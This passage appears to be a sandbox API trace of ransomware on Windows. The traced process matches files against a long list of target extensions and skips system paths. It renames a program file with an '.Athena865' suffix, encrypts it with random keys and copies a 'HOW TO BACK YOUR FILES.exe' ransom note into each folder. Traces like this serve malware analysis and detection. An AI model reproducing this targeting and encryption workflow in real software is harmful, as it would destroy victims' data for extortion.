(lpString1="G.exe", lpString2="accft") returned 1 [0039.709] lstrlenW (lpString="adb") returned 3 [0039.709] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0039.709] lstrlenW (lpString="adb") returned 3 [0039.709] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0039.709] lstrlenW (lpString="ade") returned 3 [0039.709] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1 [0039.709] lstrlenW (lpString="adf") returned 3 [0039.709] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1 [0039.709] lstrlenW (lpString="adn") returned 3 [0039.709] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1 [0039.710] lstrlenW (lpString="adp") returned 3 [0039.710] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1 [0039.710] lstrlenW (lpString="alf") returned 3 [0039.710] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1 [0039.710] lstrlenW (lpString="ask") returned 3 [0039.710] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1 [0039.710] lstrlenW (lpString="btr") returned 3 [0039.710] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1 [0039.710] lstrlenW (lpString="cat") returned 3 [0039.710] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1 [0039.710] lstrlenW (lpString="cdb") returned 3 [0039.710] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1 [0039.710] lstrlenW (lpString="ckp") returned 3 [0039.710] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1 [0039.710] lstrlenW (lpString="cma") returned 3 [0039.710] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1 [0039.710] lstrlenW (lpString="cpd") returned 3 [0039.710] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1 [0039.710] lstrlenW (lpString="dacpac") returned 6 [0039.710] lstrcmpiW (lpString1="OG.exe", lpString2="dacpac") returned 1 [0039.710] lstrlenW (lpString="dad") returned 3 [0039.710] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1 [0039.710] lstrlenW (lpString="dadiagrams") returned 10 [0039.710] lstrcmpiW (lpString1="DIALOG.exe", lpString2="dadiagrams") returned 1 [0039.710] lstrlenW (lpString="daschema") returned 8 [0039.710] lstrcmpiW (lpString1="ALOG.exe", lpString2="daschema") returned -1 [0039.710] lstrlenW (lpString="db-journal") returned 10 [0039.710] lstrcmpiW (lpString1="DIALOG.exe", lpString2="db-journal") returned 1 [0039.710] lstrlenW (lpString="db-shm") returned 6 [0039.710] lstrcmpiW (lpString1="OG.exe", lpString2="db-shm") returned 1 [0039.710] lstrlenW (lpString="db-wal") returned 6 [0039.710] lstrcmpiW (lpString1="OG.exe", lpString2="db-wal") returned 1 [0039.710] lstrlenW (lpString="dbc") returned 3 [0039.710] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1 [0039.710] lstrlenW (lpString="dbs") returned 3 [0039.711] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1 [0039.711] lstrlenW (lpString="dbt") returned 3 [0039.711] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1 [0039.711] lstrlenW (lpString="dbv") returned 3 [0039.711] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1 [0039.711] lstrlenW (lpString="dbx") returned 3 [0039.711] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1 [0039.711] lstrlenW (lpString="dcb") returned 3 [0039.711] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1 [0039.711] lstrlenW (lpString="dct") returned 3 [0039.711] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1 [0039.711] lstrlenW (lpString="dcx") returned 3 [0039.711] lstrcmpiW (lpString1="exe", lpString2="dcx") returned 1 [0039.711] lstrlenW (lpString="ddl") returned 3 [0039.711] lstrcmpiW (lpString1="exe", lpString2="ddl") returned 1 [0039.711] lstrlenW (lpString="dlis") returned 4 [0039.711] lstrcmpiW (lpString1=".exe", lpString2="dlis") returned -1 [0039.711] lstrlenW (lpString="dp1") returned 3 [0039.711] lstrcmpiW (lpString1="exe", lpString2="dp1") returned 1 [0039.711] lstrlenW (lpString="dqy") returned 3 [0039.711] lstrcmpiW (lpString1="exe", lpString2="dqy") returned 1 [0039.711] lstrlenW (lpString="dsk") returned 3 [0039.711] lstrcmpiW (lpString1="exe", lpString2="dsk") returned 1 [0039.711] lstrlenW (lpString="dsn") returned 3 [0039.711] lstrcmpiW (lpString1="exe", lpString2="dsn") returned 1 [0039.711] lstrlenW (lpString="dtsx") returned 4 [0039.711] lstrcmpiW (lpString1=".exe", lpString2="dtsx") returned -1 [0039.711] lstrlenW (lpString="dxl") returned 3 [0039.711] lstrcmpiW (lpString1="exe", lpString2="dxl") returned 1 [0039.711] lstrlenW (lpString="eco") returned 3 [0039.711] lstrcmpiW (lpString1="exe", lpString2="eco") returned 1 [0039.711] lstrlenW (lpString="ecx") returned 3 [0039.711] lstrcmpiW (lpString1="exe", lpString2="ecx") returned 1 [0039.711] lstrlenW (lpString="edb") returned 3 [0039.711] lstrcmpiW (lpString1="exe", lpString2="edb") returned 1 [0039.712] lstrlenW (lpString="epim") returned 4 [0039.712] lstrcmpiW (lpString1=".exe", lpString2="epim") returned -1 [0039.712] lstrlenW (lpString="fcd") returned 3 [0039.712] lstrcmpiW (lpString1="exe", lpString2="fcd") returned -1 [0039.712] lstrlenW (lpString="fdb") returned 3 [0039.712] lstrcmpiW (lpString1="exe", lpString2="fdb") returned -1 [0039.712] lstrlenW (lpString="fic") returned 3 [0039.712] lstrcmpiW (lpString1="exe", lpString2="fic") returned -1 [0039.712] lstrlenW (lpString="flexolibrary") returned 12 [0039.712] lstrlenW (lpString="fm5") returned 3 [0039.712] lstrcmpiW (lpString1="exe", lpString2="fm5") returned -1 [0039.712] lstrlenW (lpString="fmp") returned 3 [0039.712] lstrcmpiW (lpString1="exe", lpString2="fmp") returned -1 [0039.712] lstrlenW (lpString="fmp12") returned 5 [0039.712] lstrcmpiW (lpString1="G.exe", lpString2="fmp12") returned 1 [0039.712] lstrlenW (lpString="fmpsl") returned 5 [0039.712] lstrcmpiW (lpString1="G.exe", lpString2="fmpsl") returned 1 [0039.712] lstrlenW (lpString="fol") returned 3 [0039.712] lstrcmpiW (lpString1="exe", lpString2="fol") returned -1 [0039.712] lstrlenW (lpString="fp3") returned 3 [0039.712] lstrcmpiW (lpString1="exe", lpString2="fp3") returned -1 [0039.712] lstrlenW (lpString="fp4") returned 3 [0039.712] lstrcmpiW (lpString1="exe", lpString2="fp4") returned -1 [0039.712] lstrlenW (lpString="fp5") returned 3 [0039.712] lstrcmpiW (lpString1="exe", lpString2="fp5") returned -1 [0039.712] lstrlenW (lpString="fp7") returned 3 [0039.712] lstrcmpiW (lpString1="exe", lpString2="fp7") returned -1 [0039.712] lstrlenW (lpString="fpt") returned 3 [0039.712] lstrcmpiW (lpString1="exe", lpString2="fpt") returned -1 [0039.712] lstrlenW (lpString="frm") returned 3 [0039.712] lstrcmpiW (lpString1="exe", lpString2="frm") returned -1 [0039.712] lstrlenW (lpString="gdb") returned 3 [0039.712] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0039.712] lstrlenW (lpString="gdb") returned 3 [0039.713] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0039.713] lstrlenW (lpString="grdb") returned 4 [0039.713] lstrcmpiW (lpString1=".exe", lpString2="grdb") returned -1 [0039.713] lstrlenW (lpString="gwi") returned 3 [0039.713] lstrcmpiW (lpString1="exe", lpString2="gwi") returned -1 [0039.713] lstrlenW (lpString="hdb") returned 3 [0039.713] lstrcmpiW (lpString1="exe", lpString2="hdb") returned -1 [0039.713] lstrlenW (lpString="his") returned 3 [0039.713] lstrcmpiW (lpString1="exe", lpString2="his") returned -1 [0039.713] lstrlenW (lpString="ib") returned 2 [0039.713] lstrcmpiW (lpString1="xe", lpString2="ib") returned 1 [0039.713] lstrlenW (lpString="idb") returned 3 [0039.713] lstrcmpiW (lpString1="exe", lpString2="idb") returned -1 [0039.713] lstrlenW (lpString="ihx") returned 3 [0039.713] lstrcmpiW (lpString1="exe", lpString2="ihx") returned -1 [0039.713] lstrlenW (lpString="itdb") returned 4 [0039.713] lstrcmpiW (lpString1=".exe", lpString2="itdb") returned -1 [0039.713] lstrlenW (lpString="itw") returned 3 [0039.713] lstrcmpiW (lpString1="exe", lpString2="itw") returned -1 [0039.713] lstrlenW (lpString="jet") returned 3 [0039.713] lstrcmpiW (lpString1="exe", lpString2="jet") returned -1 [0039.713] lstrlenW (lpString="jtx") returned 3 [0039.713] lstrcmpiW (lpString1="exe", lpString2="jtx") returned -1 [0039.713] lstrlenW (lpString="kdb") returned 3 [0039.713] lstrcmpiW (lpString1="exe", lpString2="kdb") returned -1 [0039.713] lstrlenW (lpString="kexi") returned 4 [0039.713] lstrcmpiW (lpString1=".exe", lpString2="kexi") returned -1 [0039.713] lstrlenW (lpString="kexic") returned 5 [0039.713] lstrcmpiW (lpString1="G.exe", lpString2="kexic") returned -1 [0039.713] lstrlenW (lpString="kexis") returned 5 [0039.713] lstrcmpiW (lpString1="G.exe", lpString2="kexis") returned -1 [0039.713] lstrlenW (lpString="lgc") returned 3 [0039.713] lstrcmpiW (lpString1="exe", lpString2="lgc") returned -1 [0039.713] lstrlenW (lpString="lwx") returned 3 [0039.713] lstrcmpiW (lpString1="exe", lpString2="lwx") returned -1 [0039.714] lstrlenW (lpString="maf") returned 3 [0039.714] lstrcmpiW (lpString1="exe", lpString2="maf") returned -1 [0039.714] lstrlenW (lpString="maq") returned 3 [0039.714] lstrcmpiW (lpString1="exe", lpString2="maq") returned -1 [0039.714] lstrlenW (lpString="mar") returned 3 [0039.714] lstrcmpiW (lpString1="exe", lpString2="mar") returned -1 [0039.714] lstrlenW (lpString="marshal") returned 7 [0039.714] lstrcmpiW (lpString1="LOG.exe", lpString2="marshal") returned -1 [0039.714] lstrlenW (lpString="mas") returned 3 [0039.714] lstrcmpiW (lpString1="exe", lpString2="mas") returned -1 [0039.714] lstrlenW (lpString="mav") returned 3 [0039.714] lstrcmpiW (lpString1="exe", lpString2="mav") returned -1 [0039.714] lstrlenW (lpString="maw") returned 3 [0039.714] lstrcmpiW (lpString1="exe", lpString2="maw") returned -1 [0039.714] lstrlenW (lpString="mdbhtml") returned 7 [0039.714] lstrcmpiW (lpString1="LOG.exe", lpString2="mdbhtml") returned -1 [0039.714] lstrlenW (lpString="mdn") returned 3 [0039.714] lstrcmpiW (lpString1="exe", lpString2="mdn") returned -1 [0039.714] lstrlenW (lpString="mdt") returned 3 [0039.714] lstrcmpiW (lpString1="exe", lpString2="mdt") returned -1 [0039.714] lstrlenW (lpString="mfd") returned 3 [0039.714] lstrcmpiW (lpString1="exe", lpString2="mfd") returned -1 [0039.714] lstrlenW (lpString="mpd") returned 3 [0039.714] lstrcmpiW (lpString1="exe", lpString2="mpd") returned -1 [0039.714] lstrlenW (lpString="mrg") returned 3 [0039.714] lstrcmpiW (lpString1="exe", lpString2="mrg") returned -1 [0039.714] lstrlenW (lpString="mud") returned 3 [0039.714] lstrcmpiW (lpString1="exe", lpString2="mud") returned -1 [0039.714] lstrlenW (lpString="mwb") returned 3 [0039.714] lstrcmpiW (lpString1="exe", lpString2="mwb") returned -1 [0039.714] lstrlenW (lpString="myd") returned 3 [0039.714] lstrcmpiW (lpString1="exe", lpString2="myd") returned -1 [0039.714] lstrlenW (lpString="ndf") returned 3 [0039.714] lstrcmpiW (lpString1="exe", lpString2="ndf") returned -1 [0039.714] lstrlenW (lpString="nnt") returned 3 [0039.714] lstrcmpiW (lpString1="exe", lpString2="nnt") returned -1 [0039.715] lstrlenW (lpString="nrmlib") returned 6 [0039.715] lstrcmpiW (lpString1="OG.exe", lpString2="nrmlib") returned 1 [0039.715] lstrlenW (lpString="ns2") returned 3 [0039.715] lstrcmpiW (lpString1="exe", lpString2="ns2") returned -1 [0039.715] lstrlenW (lpString="ns3") returned 3 [0039.715] lstrcmpiW (lpString1="exe", lpString2="ns3") returned -1 [0039.715] lstrlenW (lpString="ns4") returned 3 [0039.715] lstrcmpiW (lpString1="exe", lpString2="ns4") returned -1 [0039.715] lstrlenW (lpString="nsf") returned 3 [0039.715] lstrcmpiW (lpString1="exe", lpString2="nsf") returned -1 [0039.715] lstrlenW (lpString="nv") returned 2 [0039.715] lstrcmpiW (lpString1="xe", lpString2="nv") returned 1 [0039.715] lstrlenW (lpString="nv2") returned 3 [0039.715] lstrcmpiW (lpString1="exe", lpString2="nv2") returned -1 [0039.715] lstrlenW (lpString="nwdb") returned 4 [0039.715] lstrcmpiW (lpString1=".exe", lpString2="nwdb") returned -1 [0039.715] lstrlenW (lpString="nyf") returned 3 [0039.715] lstrcmpiW (lpString1="exe", lpString2="nyf") returned -1 [0039.715] lstrlenW (lpString="odb") returned 3 [0039.715] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0039.715] lstrlenW (lpString="odb") returned 3 [0039.715] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0039.715] lstrlenW (lpString="oqy") returned 3 [0039.715] lstrcmpiW (lpString1="exe", lpString2="oqy") returned -1 [0039.715] lstrlenW (lpString="ora") returned 3 [0039.715] lstrcmpiW (lpString1="exe", lpString2="ora") returned -1 [0039.715] lstrlenW (lpString="orx") returned 3 [0039.715] lstrcmpiW (lpString1="exe", lpString2="orx") returned -1 [0039.715] lstrlenW (lpString="owc") returned 3 [0039.715] lstrcmpiW (lpString1="exe", lpString2="owc") returned -1 [0039.715] lstrlenW (lpString="p96") returned 3 [0039.715] lstrcmpiW (lpString1="exe", lpString2="p96") returned -1 [0039.715] lstrlenW (lpString="p97") returned 3 [0039.715] lstrcmpiW (lpString1="exe", lpString2="p97") returned -1 [0039.715] lstrlenW (lpString="pan") returned 3 [0039.715] lstrcmpiW (lpString1="exe", lpString2="pan") returned -1 [0039.716] lstrlenW (lpString="pdb") returned 3 [0039.716] lstrcmpiW (lpString1="exe", lpString2="pdb") returned -1 [0039.716] lstrlenW (lpString="pdm") returned 3 [0039.716] lstrcmpiW (lpString1="exe", lpString2="pdm") returned -1 [0039.716] lstrlenW (lpString="pnz") returned 3 [0039.716] lstrcmpiW (lpString1="exe", lpString2="pnz") returned -1 [0039.716] lstrlenW (lpString="qry") returned 3 [0039.716] lstrcmpiW (lpString1="exe", lpString2="qry") returned -1 [0039.716] lstrlenW (lpString="qvd") returned 3 [0039.716] lstrcmpiW (lpString1="exe", lpString2="qvd") returned -1 [0039.716] lstrlenW (lpString="rbf") returned 3 [0039.716] lstrcmpiW (lpString1="exe", lpString2="rbf") returned -1 [0039.716] lstrlenW (lpString="rctd") returned 4 [0039.716] lstrcmpiW (lpString1=".exe", lpString2="rctd") returned -1 [0039.716] lstrlenW (lpString="rod") returned 3 [0039.716] lstrcmpiW (lpString1="exe", lpString2="rod") returned -1 [0039.716] lstrlenW (lpString="rodx") returned 4 [0039.716] lstrcmpiW (lpString1=".exe", lpString2="rodx") returned -1 [0039.716] lstrlenW (lpString="rpd") returned 3 [0039.716] lstrcmpiW (lpString1="exe", lpString2="rpd") returned -1 [0039.716] lstrlenW (lpString="rsd") returned 3 [0039.716] lstrcmpiW (lpString1="exe", lpString2="rsd") returned -1 [0039.716] lstrlenW (lpString="sas7bdat") returned 8 [0039.716] lstrcmpiW (lpString1="ALOG.exe", lpString2="sas7bdat") returned -1 [0039.716] lstrlenW (lpString="sbf") returned 3 [0039.716] lstrcmpiW (lpString1="exe", lpString2="sbf") returned -1 [0039.716] lstrlenW (lpString="scx") returned 3 [0039.716] lstrcmpiW (lpString1="exe", lpString2="scx") returned -1 [0039.716] lstrlenW (lpString="sdb") returned 3 [0039.716] lstrcmpiW (lpString1="exe", lpString2="sdb") returned -1 [0039.716] lstrlenW (lpString="sdc") returned 3 [0039.716] lstrcmpiW (lpString1="exe", lpString2="sdc") returned -1 [0039.716] lstrlenW (lpString="sdf") returned 3 [0039.716] lstrcmpiW (lpString1="exe", lpString2="sdf") returned -1 [0039.716] lstrlenW (lpString="sis") returned 3 [0039.717] lstrcmpiW (lpString1="exe", lpString2="sis") returned -1 [0039.717] lstrlenW (lpString="spq") returned 3 [0039.717] lstrcmpiW (lpString1="exe", lpString2="spq") returned -1 [0039.717] lstrlenW (lpString="te") returned 2 [0039.717] lstrcmpiW (lpString1="xe", lpString2="te") returned 1 [0039.717] lstrlenW (lpString="teacher") returned 7 [0039.717] lstrcmpiW (lpString1="LOG.exe", lpString2="teacher") returned -1 [0039.717] lstrlenW (lpString="tmd") returned 3 [0039.717] lstrcmpiW (lpString1="exe", lpString2="tmd") returned -1 [0039.717] lstrlenW (lpString="tps") returned 3 [0039.717] lstrcmpiW (lpString1="exe", lpString2="tps") returned -1 [0039.717] lstrlenW (lpString="trc") returned 3 [0039.717] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0039.717] lstrlenW (lpString="trc") returned 3 [0039.717] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0039.717] lstrlenW (lpString="trm") returned 3 [0039.717] lstrcmpiW (lpString1="exe", lpString2="trm") returned -1 [0039.717] lstrlenW (lpString="udb") returned 3 [0039.717] lstrcmpiW (lpString1="exe", lpString2="udb") returned -1 [0039.717] lstrlenW (lpString="udl") returned 3 [0039.717] lstrcmpiW (lpString1="exe", lpString2="udl") returned -1 [0039.717] lstrlenW (lpString="usr") returned 3 [0039.717] lstrcmpiW (lpString1="exe", lpString2="usr") returned -1 [0039.717] lstrlenW (lpString="v12") returned 3 [0039.717] lstrcmpiW (lpString1="exe", lpString2="v12") returned -1 [0039.717] lstrlenW (lpString="vis") returned 3 [0039.717] lstrcmpiW (lpString1="exe", lpString2="vis") returned -1 [0039.717] lstrlenW (lpString="vpd") returned 3 [0039.717] lstrcmpiW (lpString1="exe", lpString2="vpd") returned -1 [0039.717] lstrlenW (lpString="vvv") returned 3 [0039.717] lstrcmpiW (lpString1="exe", lpString2="vvv") returned -1 [0039.717] lstrlenW (lpString="wdb") returned 3 [0039.717] lstrcmpiW (lpString1="exe", lpString2="wdb") returned -1 [0039.717] lstrlenW (lpString="wmdb") returned 4 [0039.717] lstrcmpiW (lpString1=".exe", lpString2="wmdb") returned -1 [0039.717] lstrlenW (lpString="wrk") returned 3 [0039.718] lstrcmpiW (lpString1="exe", lpString2="wrk") returned -1 [0039.718] lstrlenW (lpString="xdb") returned 3 [0039.718] lstrcmpiW (lpString1="exe", lpString2="xdb") returned -1 [0039.718] lstrlenW (lpString="xld") returned 3 [0039.718] lstrcmpiW (lpString1="exe", lpString2="xld") returned -1 [0039.718] lstrlenW (lpString="xmlff") returned 5 [0039.718] lstrcmpiW (lpString1="G.exe", lpString2="xmlff") returned -1 [0039.718] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Journal\\PDIALOG.exe.Athena865") returned 54 [0039.718] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Journal\\PDIALOG.exe" (normalized: "c:\\program files\\windows journal\\pdialog.exe"), lpNewFileName="C:\\Program Files\\Windows Journal\\PDIALOG.exe.Athena865" (normalized: "c:\\program files\\windows journal\\pdialog.exe.athena865"), dwFlags=0x1) returned 1 [0039.723] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\PDIALOG.exe.Athena865" (normalized: "c:\\program files\\windows journal\\pdialog.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0039.723] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=51200) returned 1 [0039.724] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0039.724] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d1b0 [0039.724] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0039.724] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0039.725] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0039.725] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0039.725] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xcb00, lpName=0x0) returned 0x154 [0039.727] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xcb00) returned 0x100000 [0039.738] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0039.739] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0039.739] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0039.739] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d228 [0039.739] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d228 | out: hHeap=0x4f0000) returned 1 [0039.739] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0039.739] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0039.739] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0039.739] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0039.739] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0039.739] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0039.739] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0039.739] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0039.739] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0039.740] CloseHandle (hObject=0x154) returned 1 [0039.740] CloseHandle (hObject=0x17c) returned 1 [0039.742] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d1b0 | out: hHeap=0x4f0000) returned 1 [0039.742] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0039.742] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0039.742] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e472dd2, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa250a38, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e4e551f, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0039.742] lstrcmpiW (lpString1="Templates", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0039.742] lstrcmpiW (lpString1="Templates", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0039.742] lstrcmpiW (lpString1="Templates", lpString2=".") returned 1 [0039.742] lstrcmpiW (lpString1="Templates", lpString2="..") returned 1 [0039.742] lstrcmpiW (lpString1="Templates", lpString2="windows") returned -1 [0039.742] lstrcmpiW (lpString1="Templates", lpString2="bootmgr") returned 1 [0039.742] lstrcmpiW (lpString1="Templates", lpString2="temp") returned 1 [0039.742] lstrcmpiW (lpString1="Templates", lpString2="pagefile.sys") returned 1 [0039.742] lstrcmpiW (lpString1="Templates", lpString2="boot") returned 1 [0039.742] lstrcmpiW (lpString1="Templates", lpString2="ids.txt") returned 1 [0039.742] lstrcmpiW (lpString1="Templates", lpString2="ntuser.dat") returned 1 [0039.742] lstrcmpiW (lpString1="Templates", lpString2="perflogs") returned 1 [0039.742] lstrcmpiW (lpString1="Templates", lpString2="MSBuild") returned 1 [0039.742] lstrlenW (lpString="Templates") returned 9 [0039.743] lstrcpyW (in: lpString1=0x241e88a, lpString2="Templates" | out: lpString1="Templates") returned="Templates" [0039.743] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c3b0 [0039.743] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x56) returned 0x5290d0 [0039.743] lstrcatW (in: lpString1="Templates", lpString2="\\" | out: lpString1="Templates\\") returned="Templates\\" [0039.743] lstrcatW (in: lpString1="Templates\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Templates\\HOW TO BACK YOUR FILES.exe") returned="Templates\\HOW TO BACK YOUR FILES.exe" [0039.743] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Journal\\Templates\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows journal\\templates\\how to back your files.exe"), bFailIfExists=1) returned 1 [0039.757] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e472dd2, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa250a38, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e4e551f, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 0 [0039.757] FindClose (in: hFindFile=0x529450 | out: hFindFile=0x529450) returned 1 [0039.757] ReleaseMutex (hMutex=0xec) returned 1 [0039.757] CloseHandle (hObject=0xec) returned 1 [0039.757] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Windows Mail" | out: lpString1="C:\\Program Files\\Windows Mail") returned="C:\\Program Files\\Windows Mail" [0039.757] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50f5b0 | out: hHeap=0x4f0000) returned 1 [0039.757] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50c3f8 | out: hHeap=0x4f0000) returned 1 [0039.757] lstrlenW (lpString="C:\\Program Files\\Windows Mail") returned 29 [0039.757] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\7568E55C85D027FC8CAEF0282D7C6FF3") returned 0xec [0039.757] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0039.757] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Mail" | out: lpString1="C:\\Program Files\\Windows Mail") returned="C:\\Program Files\\Windows Mail" [0039.757] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0039.757] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Mail\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows mail\\how to back your files.exe"), bFailIfExists=1) returned 0 [0039.758] CreateFileW (lpFileName="C:\\Program Files\\Windows Mail\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows mail\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0039.758] GetLastError () returned 0x0 [0039.758] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0039.758] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x52f908 [0039.758] ReadFile (in: hFile=0xf4, lpBuffer=0x52f908, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x52f908*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0039.758] CloseHandle (hObject=0xf4) returned 1 [0039.758] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0039.758] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0039.758] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Mail\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbc465fe0, ftLastAccessTime.dwHighDateTime=0x1d575b6, 